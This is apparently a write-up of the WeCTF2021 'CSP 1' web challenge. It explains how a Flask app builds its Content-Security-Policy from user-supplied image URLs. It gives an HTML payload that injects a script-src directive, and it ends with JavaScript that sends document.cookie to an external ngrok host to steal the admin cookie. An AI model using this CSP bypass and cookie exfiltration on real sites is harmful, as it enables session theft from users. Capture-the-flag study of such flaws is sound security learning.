CSP1 - WeCTF2021
WeCTF is a CTF with only web challenges. The vision is to help expose some of the latest vulnerabilities in the web technologies, such as JIT-based side channeling and race condition, as well as reminding people about the good old times, like SQL Injection and SSRF. This particular challenge focuses on bypassing CSP to achieve XSS.
CSP 1
133 solves / 335 pts
Shame on Shou if his web app has XSS vulnerability. More shame on him if he does not know how to use CSP correctly.
Hint: Search Content-Security-Policy if you don’t know what that is and check your browser console.
This challenge focuses on bypassing CSP due to poor coding practices. If you don’t know what CSP is, here’s a quick refresher that might help.
So as the CTF is over, we need to download the source code from their GitHub repository. There’s a Dockerfile provided for you to host the environment on a docker container, so that’s great :)
Let’s just quickly spin up the container using the docker command.
┌──(rootLAPTOP-UFMALO92)-[/home/akshay/Desktop/WeCTF/CSP1]
└─# cat Dockerfile
FROM python:3.8.2-alpine3.11
RUN apk add --no-cache sqlite-dev
WORKDIR /home/src
RUN apk update && apk add gcc libc-dev make git libffi-dev openssl-dev python3-dev libxml2-dev libxslt-dev
RUN pip install flask gunicorn peewee bs4
COPY . .
CMD ["gunicorn", "app:app", "--workers", "20", "--timeout", "2", "-b", "0.0.0.0:1003"]
└─# docker build . -t csp1-bypass
[+] Building 5.4s (12/12) FINISHED
=> [internal] load build definition from Dockerfile 0.1s
=> => transferring dockerfile: 365B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/python:3.8.2-alpine3.11 4.8s
=> [auth] library/python:pull token for registry-1.docker.io
Now just run the container and make sure to keep it in the detached mode.
docker run -it --rm -d -p 8081:1003 --name csp-bypass-1 36fe15f6d74b
So the web app is very simple, we have an input field where we can inject javascript to get Cross-Site Scripting. But the only problem is CSP, as CSP will not allow the javascript to get executed due to predefined rules.
The normal flow of the application goes like this.
- The user injects javascript or any normal content into the application
- Then that particular post is assigned a token
- We can view the post at
/display/<token>
Now the vulnerable part of the code is shown below as we have the source code available.
@app.route('/display/<token>')
def display(token):
user_obj = Post.select().where(Post.token == token)
content = user_obj[-1].content if len(user_obj) > 0 else "Not Found"
img_urls = [x['src'] for x in bs(content).find_all("img")]
tmpl = render_template("display.html", content=content)
resp = make_response(tmpl)
resp.headers["Content-Security-Policy"] = "default-src 'none'; connect-src 'self'; img-src " \
f"'self' {filter_url(img_urls)}; script-src 'none'; " \
"style-src 'self'; base-uri 'self'; form-action 'self' "
return resp
if __name__ == '__main__':
app.run()
If there are any img tags present in the post, then it will take the src url and add it into the img-src policy. With this CSP policy, images can be loaded from the same origin (via the ‘self’ source list value), or via URLs starting with: https://images.example.com
Here we can inject anything, which will eventually help us break out the img-src
policy and probably adding a new one to get XSS. So I will inject the following payload to get to execute javascript from a remote source.
<img src="http://anyrandomwebsite.com;script-src">
<img src="http://localhost:8000/">
<script src="http://localhost:8000/script.js"></script>
Contents of script.js
___(root__LAPTOP-UFMALO92)-[/home/akshay/Desktop/WeCTF/CSP1]
__# cat script.js
alert(1);
I will use burp to intercept the request and check the Content Security Policy header in the response.
So the flag was present in the admin cookie, so I used the following script to get the cookie value.
let url = "https://85fd29db2700.ngrok.io/";
var x = document.cookie;
var script = document.createElement("script");
script.src = url + x;
document.head.appendChild(script);
This will send the cookie along with the url.